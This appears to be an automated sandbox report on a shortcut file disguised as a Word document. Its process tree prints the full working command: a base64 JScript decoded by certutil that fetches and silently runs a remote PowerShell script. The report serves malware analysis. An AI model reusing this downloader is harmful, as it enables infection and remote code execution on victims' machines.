Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/07/2026, 08:45

General

  • Target
    NAKAZ_MO_perevirka_mayna.docx.lnk
  • Size 6KB
  • Sample260702-knv41sey41
  • SHA256 9bd16130d297f639bab147186ce090becb05a1f0e85ee87a8aba3b557e170558
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NAKAZ_MO_perevirka_mayna.docx.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE5My4xNjkuMTk0Ljg2L2NyNDRnL2ZpZnRoYmVsb25nLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > yO.b64 && certutil -decode yO.b64 5G9X2.js >nul && wscript //b 5G9X2.js && del yO.b64 5G9X2.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:1784
      • C:\Windows\system32\certutil.exe
        certutil -decode yO.b64 5G9X2.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:592
      • C:\Windows\system32\wscript.exe
        wscript //b 5G9X2.js
        3⤵
        • Badlisted process makes network request
        PID:1772

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        5G9X2.js

        • Path C:\Users\Admin\AppData\Local\Temp\5G9X2.js
        • Size 301B
        • SHA256 cfe0ff9b5bc1c1c4f07324005eea1fbbeafb29d239b162226decffaa7448675f
        • MD5 SHA1 SHA512 TLSH

        yO.b64

        • Path C:\Users\Admin\AppData\Local\Temp\yO.b64
        • Size 408B
        • SHA256 70252f93701f506d17306868ffc243519139d5cd840d68d957ae7a96bd47cc2a
        • MD5 SHA1 SHA512 TLSH